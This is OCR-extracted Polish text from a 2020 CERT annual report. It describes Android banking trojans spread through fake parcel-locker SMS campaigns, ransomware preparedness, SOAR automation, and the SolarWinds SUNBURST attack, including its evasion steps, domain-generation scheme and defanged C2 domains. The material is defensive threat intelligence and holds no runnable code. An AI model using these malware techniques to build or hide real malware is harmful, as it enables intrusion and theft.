odebra¢ kod do paczkomatu, nalezy pobra¢ nowag
wersje aplikacii.

2. Landing Page - ktory podszywat sie pod dana marke
lub imitowat sklep z aplikacjami Google Play,
wystepowaty rowniez scenariusze tgczace oba
te elementy. Jako analitycy mogliémy obserwowac
w jaki sposdb te zestawy phishingowe sg rozwijane
przez przestepcoéw. Poczatkowo strona dystrybuowata

jedna aplikacje, w kolejnych etapach ewolucji dochodzito

do sytuacji, gdy pojedynczy scenariusz infekowat ofiare
jedna, losowa aplikacjag z dostepnych kilkudziesieciu
na stronie.

3. Aplikacja - zazwyczaj Cerberus; powyzszy schemat
jest wykorzystywany réwniez przy dostarczaniu innych
rodzajow trojanéw bankowych na Androida.

Cerberus po zainstalowaniu zgdat nadania uprawnien

do ,,Utatwien Dostepu”. Dzieki temu rozszerzat swoje
mozliwosci na zainfekowanym urzadzeniu - symulowat
kliknigcia na kolejnych pytaniach systemu o kolejne
uprawnienia, ukrywat swojg ikone, utrudniat deinstalacje.
Oprogramowanie po infekcji pobierato liste
zainstalowanych aplikacji na urzgdzeniu przekazujgc

ja do serwera zarzgdzajacego. Nastepnie operator wybierat

aplikacje, na ktérej chciat uzy¢ naktadki (tzw. injectu).
Operatorzy ztosliwego oprogramowania obstugiwali
nawet kilka kampanii jednoczesnie.

Naktadka to nic innego jak okienko, ktére nadpisywato
prawdziwe okno, zazwyczaj aplikacji bankowosci mobilnej,
imitujac je. Gdy ofiara wpisata swoje dane autoryzujgce,
przestepcy pozyskiwali dane do autoryzacyjne i sami logowali
sie na konto ofiary. Jednoczesnie przejmowali kody SMS,
ktére stuzg w bankach jako drugi sktadnik uwierzytelnienia.

W kolejnych krokach dokonywali szeregu operacji na

koncie, tak aby ukrasé wszystko na co im ofiara i jej
bankowos$é pozwoli. Cze$¢ ofiar stawata sie tzw. stupami,

a ich konta byty wykorzystane do przekazywania pieniedzy
od innych ofiar. Przestepcy w imieniu swoich ofiar zaciggali
kredyty oraz wyptacali gotéwke. Ofiary caty czas pozostawaty
nieSwiadome, gdyz Cerberus wytgczat wszelkie notyfikacje.

Zwiekszone wykorzystanie Cerberusa wymusity

na badaczach bezpieczenstwa dziatania, ktére spowodowaty,
ze mechanizmy bezpieczenstwa coraz lepiej go wykrywaty.
W odpowiedzi na to autorzy malware ciagle doskonalili swoj
produkt, dodajac kolejne injecty, poprawiajac kolejne moduty.
Jednoczesnie aktywnie promowali swoje oprogramowanie

w mediach spotecznosciowych tj. Twiiter, YouTube.

W kwietniu dla ,klientow” zostata wypuszczona wersja 2.

@ Incognite

: Undefined index: p in

C:\xampp\htdoes\inj\p!_pl.mbank.php

79



Raport CERT Orange Polska 2020

Panel zarzadzania w wersji 2 Cerberusa

Covberas w2

Send sms Send USSD

Open Inject Run app

W wersji drugiej poprawiono czes¢ bteddw i utatwiono
operatorom korzystanie z malware’u, dodano zintegrowany
generator aplikacji w panelu zarzagdzania, jednoczesna
obstuge wiekszej ilosci kampanii oraz serweréw
zarzadzajgcych. Twércy malware zmienili architekture

i zastosowali serwery Nginxa, a do funkcjonalnosci dodali
wykradanie kodéw 2FA z Google Authenticator.

W sierpniu autorzy opublikowali zrédta swojego produktu,
jednoczesnie porzucajac go. Wczesniej, w czerwcu,
prébowali go sprzeda¢. Wyglada na to, iz mimo pojawienia
sie kilku ofert zakupu, produkt sie nie sprzedat.

Niestety $mier¢ Cerberusa nie spowodowata, iz polscy
uzytkownicy moga odetchnaé z ulgg. Wywodzacy sie

z Cerberusa malware (tzw. fork kodéw) znany jako Alien,
przejat jego role. Na poczatku byt przez badaczy traktowany
jako wariant Cerberusa, obecnie jest to juz osobna rodzina
ztosdliwego oprogramowania mobilnego.

Cerberus, Alien to nie jedyne oprogramowanie
wykorzystywane przez grupy przestepcze, ktére czyhaja
na portfele Polakéw. Pojawiajg sie réwniez kampanie
korzystajace z oprogramowania Hydra, ktére bezposrednio
wywodzi sie z innego zlosliwego oprogramowania BianLian.
Programy te to gtéwnie scenariusze zwigzane z pocztg
elektroniczng: Nowy regulamin poczty Interia, WP, 02

czy Onet. Kolejna rodzing ztosliwego oprogramowania

to BlackRock ktory swojg premiere miat w maju 2020,

a we wrzesniu w Polsce byt wykorzystany w kampaniach
podszywajacych sie pod aplikacje iPKO.

Wszystkie te rodziny ztosliwego oprogramowania dziatajg

w podobny sposdb wykorzystujac naktadki na aplikacje.
Celami nie sg tylko aplikacje bankowe - na listach injectéw
znajduja sie aplikacje medidéw spotecznosciowych,
komunikatoréw czy uzytkowe tj. Allegro, Empiku czy
Rossmanna. Pod wzgledem uzytecznosci jest miedzy

nimi duze podobienstwo. Najwieksze réznice wystepujg
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Loading

Forward call

Send push

w implementacji funkcjonalnosci, sposobie ekstrakcji
ztosliwego payloadu, zaciemniania kodu, komunikacji

z serwerami Command & Control czy przechowywaniem
konfiguraciji.

Ciekawym zjawiskiem byto to, ze konkretne rodziny
ztosliwego oprogramowania pojawiaty sie tylko

z konkretnymi scenariuszami. | tak 98% kampanii
dystrybuujgcych Hydre wykorzystywany byt scenariusz
a’la klient poczty elektronicznej, BlackRock natomiast
tylko w scenariuszach podszywajacych sie pod aplikacje
bankowosci mobilnej. Niewatpliwie prym widdt
scenariusz wykorzystujgcy paczkomaty.

W 2020 roku zidentyfikowano ponad 500 aplikacji
podszywajacych sie pod InPost Mozna to ttumaczy¢
rosnaca popularnoscia tej ustugi oraz pandemicznag zmiana
w zachowaniu ludzi, w ktérej znacznie czesciej zakupy
odbywaja sie on-line. Statystycznie niemal kazdy czeka

na jakas$ przesytke, dlatego techniki podszywania sie pod
ustugi dostarczania przesytek (m.in. InPost, czy firmy
kurierskie) zyskaty na popularno$ci wsrod przestepcow.

By unikna¢ tego typu zagrozenia odradza sie instalowanie
oprogramowania, ktére zostato dostarczone via SMS

lub inne komunikatory. Oprogramowanie nalezy pobiera¢
i instalowac tylko z oficjalnych sklepéw z aplikacjami.
Zaleca sie weryfikowac uprawnienia jakich zgda aplikacja
i dwa razy zastanowic sie jezeli jest to uprawnienie

do Utatwien dostepu. A najlepiej korzystaé z CyberTarczy
lub w swoim DNS-ie uwzgledni¢ czarna liste ztosliwych

i phishingowych domen prowadzong przez CERT

Polska. Mechanizmy te - potrafig ochroni¢ przed
wejsciem na strone phishingowa, ktére naktania nas

do instalacji ztosliwego oprogramowani. | na koricu
wypada dodag, iz posiadanie oprogramowania
antywirusowego renomowanej firmy na telefonach jest
tak samo obowigzkiem jak na zwyktych komputerach

- to element higieny cyberbezpieczerstwa.

Komentarz Partnera:

Borys Lacki

Od ponad 16 lat testuje bezpieczenstwo IT.

Jest autorem ponad stu prelekcji na branzowych
konferencjach m.in. Confidence, SECURE,
Semafor, itd. Specjalista zajmujacy sie testami
penetracyjnymi w firmie https://logicaltrust.net
Swiadczacej kompleksowe ustugi w obszarze
bezpieczenstwa informaciji.

Ransomware, ransomware, ransomware. Przez
ponad 20 lat w branzy bezpieczenstwa IT przezytem
sporo, ale chyba nigdy wczesniej jedno zagrozenie
tak bardzo nie spedzato snu z powiek bezpiecznikom
i dziatom IT.

Ogromny wzrost popularnosci dedykowanych
atakéw ransomware w roku 2020 i wytudzenia

na niespotykang dotad skale sprawity, ze firmy, ktére
wczesniej nie inwestowaty w cyberbezpieczenstwo,
zaczety zastanawiac sie jak poradzi¢ sobie z tym
problemem, a te ktére Swiadomie zarzadzaja
cyberbezpieczeristwem baczniej przygladajg

sie tej kwestii.

Zorganizowane grupy cyberprzestepcze
wyszkolity sie w tym jak atakowaé firmy,
przetamujgc ich zabezpieczenia i wydobywajac
wrazliwe informacje.

W pierwszej fazie paralizujg dziatanie atakowanej
organizacji i zadajg zaptaty okupu za wystanie kopii
zapasowych danych. Poniewaz jednak coraz wiecej

firm potrafi odtworzy¢ dane z backupow - przestepcy,

w drugiej fazie grozg, ze opublikujg wykradzione
informacje. Utrata ciagtosci dziatania, kary RODO,

kary wynikajgce z NDA oraz utrata reputacji sprawiaja,
Ze problem ten zaczyna dotykac przedsigbiorstw

z kazdej branzy. Kwota okupu czesto zaczyna sie

od kilkuset tysiecy zt (mozna negocjowac! :).

Atakujacy wykorzystujg podatnosci w infrastrukturze
ofiary lub korzystajgc z socjotechniki, przejmujg pierwszy
komputer wewnatrz sieci firmowej, a nastepnie eskalujg
uprawnienia i przemieszczajac sie w obrebie kolejnych
sieci przejmuja kolejne urzadzenia, az wykradna kluczowe
informacije.
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Warto wykonac, w obrebie swoich zespotéw éwiczenie,

w ktorym zaktadamy, iz znaczna cze$¢ naszej infrastruktury
zostata przejeta przez atakujacych, a dane wykradzione.
Przygotowanie wstepnego planu dziatania pomoze

nam w sytuacji, gdy dojdzie do incydentu. Dobrze

jest zadbac o takie aspekty jak np. wewnetrzna
komunikacja, komunikacja do Klientéw, zabezpieczenie
materiatu dowodowego, przywrécenie firmy do normalnego
dziatania (zaréwno w kwestii IT, jak i proceséw oraz

pracy ludzi), wspétpraca z zewnetrznymi podmiotami,
zabezpieczenie kopii zapasowych i mozliwos¢ szybkiego
ich przywrdcenia. Warto w spokojnym momencie
przemysleé, na ile skrajna musiataby by¢ sytuacja, aby$my
zaczeli rozwazaé negocjacje z szantazystami. Zrobienie
listy firm, ktére pomagaja w takich ,dyskusjach”

oraz ustalenie kto w naszej organizacji bedzie mogt

podja¢ zwigzane z tym, trudne decyzje, bedzie

niezmiernie pomocne i zdecydowanie skroci czas reakcji.

Ransomware, ransomware,
ransomware. Przez

ponad 20 lat w branzy
bezpieczenstwa IT
przezytem sporo, ale chyba
nigdy wczesniej jedno
zagrozenie tak bardzo nie
spedzato snu z powiek
bezpiecznikom i dziatom IT.

Mam nadzieje, ze wielowarstwowe bezpieczenstwo

i procesowe podejscie oraz rozwazna analiza ryzyka
sprawig, ze jesli nawet zostaniemy zaatakowani, bedziemy
w stanie zareagowac szybko, bronigc swoich zasobow.

| tego nam wszystkim zycze w nadchodzacym roku.
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SOAR - automatyzacja
w cyberbezpieczenstwie

Automatyzacja (patrz: Glosariusz) nie jest niczym

nowym w dziejach ludzkosci. Z lekcji historii znamy
rewolucje przemystowg z przetomu XVIII i XIX wieku
zwigzang z wynalezieniem maszyny parowej

i automatyzacjg pracy recznej. W wieku XX Henry Ford
zautomatyzowat proces wytwarzania samochodow przez
wprowadzenie ruchomej tasmy produkcyjnej. Niezaleznie
od czasu automatyzacja na state zmieniata krajobraz
dziedziny, w ktdrej byta wdrazana. Trafita takze do tak
juz zaawansowanej dziedziny jak cyberbezpieczenstwo.
Czy automatyzacja jest nam potrzebna? Jak mozemy ja
wykorzystaé i czym sa systemy klasy SOAR?

Co to jest i po co nam SOAR?

Liczba zdarzen do przeanalizowania przez analitykow
cyberbezpieczenstwa stale ro$nie. Poczynajgc od alarmow
generowanych przez zapory sieciowe, ruch sieciowy
klasyfikowany przez serwery proxy jako podejrzany kofAczac
na skrzynce mailowej zbierajgcej podejrzane wiadomosci
analitycy maja rece petne roboty. W nattoku zadan

do wykonania jest sporo do optymalizacji przez...
automatyzacje.

Systemy klasy SOAR (Security Orchestration

Automation & Response) — pozwalajg na przetwarzanie
alarmoéw oraz incydentéw bezpieczenstwa z géry
zaplanowany sposéb. Zrédto i typ danych w zasadniczy
sposo6b determinujg powtarzalne, czesto pracochtonne
dziatania, ktére mozna z powodzeniem zautomatyzowac.
Przyspieszamy w ten sposdb proces obstugi incydentu,
ale tez zapewniamy powtarzalno$¢ — co jest niezbedne
do utrzymania jako$ci obstugi na wysokim poziomie.

StopPhishing- Domains
Blocked

30 000

11 000
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Systemy klasy SOAR mozna zdekomponowac
na bloki sktadowe:

- ingest — blok odbierajgcy dane od systemdw zasilajgcych
takich jak systemy klasy SIEM i systemy threat hunting’owe
alarmujgce o zagrozeniach. Istnieje réwniez mndstwo
systemoéw wykrywajgcych podejrzang aktywnos$¢ na bazie
sztucznej inteligencji — analizujgce na przyktad nietypowa
aktywno$¢ uzytkownikéw. Zrédto danych moze byé tez mniej
wyrafinowane. Moze to by¢ po prostu skrzynka pocztowa,
do ktorej przekazywane sg podejrzane maile. Ingest w duzej
mierze determinuje dalsze kroki przetwarzania — dopasowujgc
dane wej$ciowe do scenariusza przetwarzania (czesto
nazywanego playbook’iem).

- data processing - blok przetwarzania danych. Jego
zadaniem jest ekstrakcja lub pobranie danych niezbednych do
analizy incydentu. Przyktadem jest ekstrakcja nagtéwka maila,
zatgcznikdw czy pobranie plikdw wskazanych przez URL.

- data analysis — po wczesniejszym przetworzeniu - dane,
przypisane sg do standardowych typdw (IP, URL, plik itp.).
Mozliwe jest wiec wykonanie takich klasycznych dziatan

jak analizy przy pomocy sandboxa; sprawdzenie reputacji
przy pomocy lokalnych lub internetowych serwiséw
reputacyjnych lub bezpieczne wykonanie zrzutu ekranu,

gdy podejrzewamy, ze mamy do czynienia ze ztosliwymi
stronami lub z phishingiem. Elementem posredniczacym
pomiedzy blokiem ingest a lokalnymi lub internetowymi
systemami dostarczajgcym atrybuciji jest w przypadku naszej
organizacji open sourcow’y modut Cortex, ktory standaryzuje
zapytania i odpowiedzi od wczesniej wymienionych systemow.

- blok decyzyjny — na podstawie scenariusza oraz wczesniej
wykonanych krokéw system okresla czy incydent spetnia
kryteria do w pefni automatycznej obstugi, a wiec zamknigcia
incydentu w przypadku fatszywego alarmu lub automatycznego
wykonania akcji i ograniczenia sie jedynie do notyfikaciji
operatora. Gdy nie jest mozliwe jednoznaczne
sklasyfikowanie.

- ztosliwe lub nieztosliwe - wtedy wymagane jest wsparcie
ze strony analityka. Oczywiscie obstuga automatyczna jest
zdecydowanie szybsza i dgzy sie do maksymalizacji obstugi
incydentdw bez koniecznosci angazowania operatorow.

- system obstugi incydentow - w przypadku naszej
organizacji role te petni open source’owy modut TheHive.
System wizualizuje zgromadzone do tej pory dane.

W razie potrzeby, za pomocag modutu Cortex mozliwe

jest manualne wywotanie kolejnych analiz w innych,
zintegrowanych z SOAR serwisach reputacyjnych. Operator
moze tez wywotac akcje opisane w kolejnym bloku.

- respond - blok umozliwiajgcy automatyczne lub manualne
wykonanie akcji majgcej na celu mitygacje zagrozenia

i w razie potrzeby komunikacje z poszkodowanym lub
sprawcg incydentu. Najpopularniejszymi dziataniami sa
blokada na zaporze sieciowej, przekazanie zdarzenia do
kolejnej linii wsparcia lub wystanie maila. W naszej organizaciji
mozliwe jest tez zablokowanie IP lub domeny na poziomie
cafej sieci Orange.

SOAR - dekompozycja na bloki sktadowe.

data analysis

1@

malspam

TYYY

i

threat hunting

data processing

Zastosowanie SOAR - Malspam

Czy warto automatyzowac? Dla przyktadu przyjrzymy sie
manualnej i automatycznej obstudze podejrzanych maili.
Wymieniajac tylko najwazniejsze punkty manualnej procedury
obstugi takiego zdarzenia — do obowigzkéw operatora nalezy:

m  sprawdzenie nagtéwka wiadomosci,

B sprawdzenie czy zatgczniki wiadomosci nie sg ztosliwe —
w praktyce oznacza to dla kazdego pliku kilkuminutowa
analize za pomoca sandbox’a,

m  wyciagniecie z wiadomosci wszystkich URLI, adresow
IP, domen zaréwno w tresci maila, jak i w zatgcznikach i
sprawdzenie ich za pomoca serwisdw reputacyjnych (ta-
kich jak np. VirusTotal, URLscan, URLhaus). W praktyce
jest to bardzo zmudna procedura kopiowania i wkle-
jania tresci do analizy, zonglowania pomiedzy réznymi
stronami i czekania na odpowiedzi serwisow,

m  w przypadku wykrycia zto$liwych tresci trzeba odtozy¢
je w lokalnej bazie loC lub podzieli¢ sie nim z innymi
organizacjami (Swietnie w tym zastosowaniu sprawdza
sie MISP- Malware Information Sharing Platform),

= Dopiero po tak przeprowadzonych sekwencyjnie krokach
mozna skontaktowac¢ sie z uzytkownikiem i udzieli¢ mu
odpowiedzi czy mail, ktéry odebrat jest bezpieczny.

m  Rysunek ponizej pokazuje jak taka analiza wyglada
w przypadku uzycia SOAR.
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v
£
\ >

Malspam
— Suspicious Emails

2378
1998

rise by 19% Y-Y

SOAR - analiza maila ze skrzynki MALSPAM.

T0 TO+10s | T0+10min |
Receiving Extraction of Ticket ready
an email to attchemnts, to analysis
analysis headers, \
URL, IP

i

fadomosé e-mail
M ohisning 020 ©

RUN of automatic Check the analysis of

analysis in reputation  already categorized

engines (VT, URLscan..) observables + Optional
analysis if needed
(screenshot, sandbox)

T0+15min | TO+25min T0+ X Days
Selecting Categorizing If further
malicious the case and analysisis

sources, taking responding needed,
appropriate | tothe user pass the

mitigation | case to L2
measures | \

Zglos podejrzang —

- M —
[ 2 ] tanctor | oot |
Use of built-in Hive is integrated Use tags and task system
responders to block with our ticket to communicate
malicious URLs on systems between support lines

WebGateway or
Cybershield. Share
suspicious domain
fURLs to MISP

83



Raport CERT Orange Polska 2020

Dzieki wykorzystaniu SOAR zaraz po odebraniu maila nastepuje ekstrakcja najwazniejszych elementéw, ktére symultanicznie
poddawane sg analizie za pomocg internetowych Zrédet reputacii. Zatgczniki poddawane sg analizie sandboxowej. Nie trzeba
przetgczac sie pomiedzy réznymi narzedziami — SOAR jest z nimi zintegrowany, a wymiana danych nastepuje przez API
(Application Interface). Analityk widzi gotowy raport, w sposéb klarowny pokazujgcy potencjalne zagrozenia. Jest szybciej

i doktadniej, bo mamy pewnos$¢, ze wszystkie dane zostaty przeanalizowane.

Analiza wykonana w spos6b manualny zajetaby czas liczony w godzinach przy zastosowaniu automatyzacji w ciggu kilkunastu
minut jestesmy w stanie udzieli¢ odpowiedzi klientowi i zamkna¢ zdarzenie.

Przyktadowa analiza maila - system TheHive.

Flename ote Tive

Petna automatyzacja

Przyktadem w petni zautomatyzowanej obstugi jest wprowad-
zony na poczatku 2019 roku proces automatycznej blokady w
sieci Orange ztosliwych tresci (malware, phishing, fake news)
zwigzanych z COVID-19. Nasze prace wpisaly sie w szeroko
zakrojone dziatania koordynowane przez Ministerstwo Cyfry-
zacji i realizowane w porozumieniu z pozostatymi operatorami
telekomunikacyjnymi. W ramach umowy ustalono, ze NASK
Polska bedzie analizowat i przesytat do blokady strony majace
ztosliwy charakter. Ponizej przedstawiono uproszczony sche-
mat mechanizmu blokowania.

Automatyczna blokada tresci zwigzanych
z koronawirusem i COVID-19.

NASK 7
> @ »| Cybertarcza

@9 .

W wypadku tego mechanizmu tresci ztosliwe otrzymywane
przez ustalony interfejs aplikacyjny trafiaja do SOAR

i sg automatycznie blokowane na CyberTarczy. Caty proces
od otrzymania informacji do zablokowania na poziomie
sieci trwat ponizej trzech minut! Czas nie do uzyskania

w przy manualnym podejsciu.
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SOAR - wieksza wspotpraca
pomiedzy liniami

Wdrozenie sytemu klasy SOAR powoduje, ze w naturalny
sposob staje sie on zcentralizowanym miejscem analizy i obstugi
incydentéw. Jest to jeden system, do ktérego dostep majg
operatorzy pierwszej linii, a takze zaawansowani analitycy z
drugiej i trzeciej linii. Standaryzacja zasad obstugi i mozliwos$é
szybkiego przekierowania sprawy do linii wyz-szej — celem
gtebszej analizy lub do linii nizszej — np. w celu kontaktu

z uzytkownikiem pozwala na znacznie sprawniejszg obstuge
zdarzen i fatwo$¢ w wymianie informacji pomiedzy liniami.

Podsumowanie

Systemy klasy SOAR sa niezbedna czescia uktadanki

w $wiecie cyberbezpieczenstwa. Rosnaca liczba zdarzen

do analizy i mocno ograniczona liczba specjalistow sprawia,
ze semi-automatyczna i automatyczna analiza oraz mitygacja
sg niezbedne do sprawnego zapewniania bezpieczenstwa
organizacji.

W naszej firmie bardzo wczesnie podjeto decyzje o wdrozeniu
systemu SOAR, wybierajac przy tym nieoczywista Sciezke
rozwoju wykorzystujacg open source’owe projekty. Podobnie
jak w innych dziedzinach IT — duzym impulsem do rozwoju,
ale takze sprawdzeniem dla naszych systemdw byt poczatek
pandemii. Spowodowato to, ze dzi$ jesteSmy zaawansowa-
nym graczem na polu automatyzacji, a kolejne efekty wkrétce
zobaczymy w projektach komercyjnych.

Grzegorz Tyszka

Cyberastronomia - atak
poprzez tancuch dostaw

Supernova, SolarWinds, SolarStorm czy Orion — brzmig
niemal jak terminy z poradnika astronomii, jednak

w cyberprzestrzeni niosg za sobg powazne zagrozenie
dla firm. Wiedza astronomiczna nie jest wymagana,
jednak zrozumienie ataku, ktéry powigzat te terminy

w cyberprzestrzeni, jest juz obowigzkiem kazdego
analityka zagrozen i incydentéw.

Rok 2020 zmienit rozumienie cyberbezpieczenstwa

na catym $wiecie. Przyspieszona, wymuszona pandemia,
adaptacja technologiczna do warunkdw pracy zdalnej,

do nowych ustug, czy wrecz zjawisk internetowych to

dla cyberbezpieczenstwa prawdziwe wyzwanie: migracja
do rozwigzan chmurowych, wdrazanie zdalnego modelu
pracy w sposob bezpieczny, zabezpieczanie infrastruktury,
a jednoczesnie zmiana modeli operacyjnych

w organizacjach. Koniec roku przynioést nam informacje

o niezwyktej cyberoperaciji, w ktorej zastosowano metode
wodopoju (zatrutego Zrddta). Byt to atak w 100% zgodny
z definicjg atak typu APT: bardzo wyrafinowany

w wykorzystywanych technikach, przygotowywany
dtugo, pozostajgcy dtugo w ukryciu, wymierzony

w bardzo precyzyjnie okreslone cele.

Powierzchnia ataku siegneta 18000 firm, instytuciji,

agencji rzgdowych — tyle byto pobran zatrutej wersji
oprogramowania. Tak duza skala nie jest charakterystyczna
dla atakéw APT, jednak juz sposdb dziatania ztosliwego
oprogramowania, ktore sposrdd tej duzej populaciji
precyzyjnie atakowato wybrane firmy, to juz jest klasyka
gatunku APT. W$rdd ofiar znalazty sie takie organizacje
jak amerykanskie agencije rzgdowe: Department Obrony,
Energii, Bezpieczenstwa, Stanu, Skarbu oraz Zdrowia,

a wsrod firm m.in. Microsoft, Intel, Cisco, Nvidia, VMware,
Belkin, SAP, NCR, czy nawet potentat z obszaru
cybersecurity firma FireEye, ktéra jako pierwsza podata
informacje o zdarzeniu. Analizujgc zarejestrowane domeny
mozna byto przyjaé, ze atak w petni dotyczyt 140 ofiar,

z czego okoto 45 byto w kregu zainteresowania

jego autordw.

Ci, ktérych ten atak dotknat, majg obecnie bardzo powazne
zadanie w obszarze analizy oraz mitygacji incydentu,

jak rowniez odbudowy bezpiecznego srodowiska
informatycznego. Dla tych, ktorych ten atak nie dotyczyt
bezposrednio, powinien by¢ lekcja do odrobienia

- analiza scenariusza ataku i badanie odpornosci na niego.

Sunburst

13 grudnia firma FireEye ogtosita, iz odkryta globalng
kampanie wtaman do systeméw informatycznych
najwiekszych firm na swiecie. Odpowiedzialnym za ten atak
ogtoszono grupe UNC2452. Wykryto atak na taricuch dostaw
polegajgcy na trojanizowaniu (dodaniu do legalnego
oprogramowania funkcji konia trojanskiego) aktualizaciji
oprogramowania biznesowego SolarWinds Orion w celu
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dystrybucji ztodliwego oprogramowania. Odkryty kon
trojanski otrzymat nazwe SUNBURST. Atak byt bardzo
wyrafinowany, a sam atakujgcy wykorzystat wiele technik,
by unikng¢ wykrycia i ukry¢ swojg aktywnos$¢. Sama
kampania byta szeroko rozpowszechniona, dotykajac
wiekszo$¢ uzytkownikdéw oprogramowania SolarWinds
Orion. Byto to dzieto wysoce wykwalifikowanej grupy
hakerskiej (Threat Actora), a operacja zostata przeprowad-
zona przy duzej starannosci i zachowaniu bezpieczenstwa
operacyjnego (by unikng¢ wykrycia, zaatakowac
zdefiniowane cele i zapewni¢ mozliwie diugie jej trwanie).

Poczatkowym wektorem ataku w tancuchu dostaw

byta kompromitacja oprogramowania SolarWinds Orion.
Oprogramowanie to stuzy do zarzgdzania siecig w organizacji
i obejmuje monitorowanie wydajnosci sieci oraz ustug,

jak réwniez zarzadzanie konfiguracja sieci. Ma ono
wbudowanych wiele réznych typdw narzedzi analitycznych.
Stuzy do monitorowania i zarzgdzania infrastruktura lokalng
oraz zewnetrzng (hostowana, czy chmurowag). Aby zapewni¢
oprogramowaniu SolarWinds Orion niezbedny dostep

do infrastruktury i zré6znicowanej technologii, administratorzy
sieci czesto konfigurujg je z wysokimi uprawnieniami.

To niejako spowodowato, ze jest ono cennym celem

dla dziatan przeciwnika.

Orion

Adwersarz (tworca i operator ataku) dodat ztosliwg wersje
binarnego pliku solarwinds.orion.core.businesslayer.dll

do cyklu wytwarzania oprogramowania SolarWinds.
Biblioteka ta zostata nastepnie podpisana (w kolejnych
wersjach oprogramowania) przez legalny certyfikat
podpisujacy kod SolarWinds. ,,Dodatek” ten, zawiera
wkompilowany backdoor (tylng furtke), ktéry komunikuje sie
przez HTTP z serwerami zewnetrznymi. Po poczgtkowym
okresie uspienia trwajgcym do dwoch tygodni SUNBURST
moze pobierac i wykonywaé polecenia, ktére nakazuja
Ztosliwemu kodowi transfer plikéw, wykonywanie
programow, profilowanie systemu, wytgczanie ustug oraz
ponowne uruchamianie systemu. Ruch sieciowy szkodliwego
oprogramowania prébuje wtopic¢ sie w legalng aktywnosé
SolarWinds poprzez nasladowanie protokotu Orion
Improvement Program (OIP), a trwate dane stanu sa
przechowywane w legalnych plikach konfiguracyjnych
wtyczek. Backdoor uzywa wielu zaciemnionych list
blokowanych do identyfikacji proceséw, ustug i sterownikéw
powigzanych z narzedziami wykrywajacymi ataki APT,
wirusy i malware. | tak, po uruchomieniu aplikacji nastepuje:

1. Weryfikacja, czy uruchomiona (skompromitowana)
biblioteka dll jest wywotana przez proces wtasciwej
aplikaciji.

2.  Okres uspienia od 288 godzin (12 dni) do 336 godzin
(14 dni).

3. Sprawdzenie, czy komputer jest dopiety do domeny
(praca w organizacji domenowej, a nie prywatny lokalny
komputer) oraz czy domena nie jest na liScie wykluczen.
Lista wykluczen to zakodowane skroty MD5 takich nazw
jak dev.local, lab.local, lab.na, lab.rio, cork.lab, apac.
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lab, lab.brno, pci.local, dmz.local, swdev.local, saas.swi,
swdev.dmz, emea.sales.

Weryfikacja narzedzi bezpieczenstwa; sprawdzenie listy
proceséw, listy serwiséw oraz sterownikow.

Préba wytaczenia wykrytych narzedzi bezpieczenstwa
(np. poprzez zmiane wartosci w rejestrze i restart sys-
temu).

Sprawdzenie konfiguracji sieciowej poprzez rozwiniecie
nazwy DNS api.solarwinds.com. Dziatanie aplikacji Orion
niewzbudzajace podejrzen dla aplikacji Orion.

Zebranie podstawowych informacji o systemie, tak by
wygenerowac zgodng z zaprogramowanym algorytmem
nazwe domenowg DGA.

Sprawdzenie, czy zapytanie DNS o utworzong domene
DGA rozwija sie do adresu IP.

Wykorzystujac pozyskany adres IP (z rekordu A), proces
uruchamia wiasciwy backdoor, ktéry tgczy sie pop-

rzez HTTPS do serwerdw zarzadzajgcych (Command
and Control, C2). Tu nastepuje wiasciwe uzycie konia
trojanskiego do infiltracji Srodowiska (infekcja — faza 2).

Adres serwera zarzgdzajgcego C2 pobierany jest z DNS,
pola CNAME domeny.

Komunikacja adwersarza z przejetym serwerem jest
ustanowiona i nastepujg dalsze kroki ataku, ktére sg
uzaleznione od organizacji, w ktérej znajduje sie serwer.

W trakcie pierwszej fazy infekcji, malware wykorzystuje
algorytm DGA do utworzenia ukrytego kanatu komunikaciji.
Dla zainfekowanego systemu tworzona jest domena w jednej
z czterech nazw domenowych FQDN:

.appsync-api.eu-west-1[.Javsvmcloud[.Jcom
.appsync-api.us-west-2[.Javsvmcloud[.Jcom
.appsync-api.us-east-1[.Javsvmcloud[.Jcom
.appsync-api.us-east-2[.Javsvmcloud[.Jcom

Nazwy subdomen C2 generowane sa poprzez konkatenacje
(potaczenie) zakodowanego identyfikatora uzytkownika

z zakodowang nazwa domeny systemu. Operator C2 moze
odtworzyé nazwe domeny ofiary z zakodowanych danych

i wykorzystuje te informacje do wskazania ztosliwym
procesom wiasciwego serwera C2. Identyfikator uzytkownika
jest generowany w oparciu o trzy wartosci:

m  adres MAC pierwszego dostepnego interfejsu
sieciowego,

B nazwa domenowa Srodowiska,

m  Kklucz rejestru HKEY_LOCAL_MACHINE\SOFTWARE\
Microsoft\Cryptography\MachineGuid

Malware SUNBURST liczy skrét MD5 od tych wartosci

i koduije je funkcja XOR uzywajac wtasnego schematu.
Uwaza sie, ze wartos¢ ta stuzy grupie UNC2452

do identyfikacji, $ledzenia i zarzgdzania swoimi ofiarami.

Zapytanie DNS moze pojawié¢ sie w roznych okolicznosciach,
jezeli jednak zidentyfikujemy w organizacji zapytanie

do domeny DGA dla tego malware, mozna by¢ pewnym,

ze atak APT wiasnie sie zaczyna lub trwa w najlepsze.

Poszczegodlne elementy pierwszej fazy ataku.
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Supernova

Infekcja Sunburst to pierwsza faza ataku.

Po udanej eksploatacji atakujgcy podejmuje probe
zdobycia kolejnych systeméw (Lateral Movement).
W tym celu wykorzystuje legalnie zdobyte dane
uwierzytelniajagce do innych systemdw (SolarWinds
Orion posiada wiele tych danych).

W systemie instalowany jest bezplikowy malware
TEARDROP, ktéry komunikuje sie z oprogramowaniem
Cobalt Strike. Jest to dropper, ktéry dziatajgc jako ustuga,
pobiera z serwera Cobalt Strike w regularnych odstepach
czasu (beaconing) plik o nazwie gracious_truth.jpg.

Plik ten zawiera ukryty poprzez steganografie kod,

ktory jest wykonywany na systemie ofiary.

Jeden punkt dostepu do infrastruktury to dla atakujgcych
za mato. Threat actor probuje przej$¢ do kolejnych
etapow kontroli przejetego $rodowiska poprzez instalacje
nastepnych implantéw:

B COSMICGALE to grupa ztosliwych skryptéw
PowerShell, ktére sa wykonywane na zainfekowanych
hostach, a ich gtéwnym celem jest wykradanie haset
(tych przechowywanych poza Orionem).

B SUPERNOVA to powioka internetowa (webshell)
uzywana do dystrybuciji i wykonywania dodatkowego
kodu na widocznych w sieci hostach. Instalowana jest
na web serwerze wykorzystujac istniejaca
w nim podatnos$¢ typu RCE (w momencie ataku
byt to 0-day).

Analitycy podkreslajg, ze mamy do czynienia z dwoma
grupami i dwoma rodzajami atakéw. Wskazujg na

to réznice w podejsciu (m.in. fakt r6znego podpisywania
koddw). Pierwszy to bardzo zaawansowany atak

z wykorzystaniem metody wodopoju i malware Sunburst
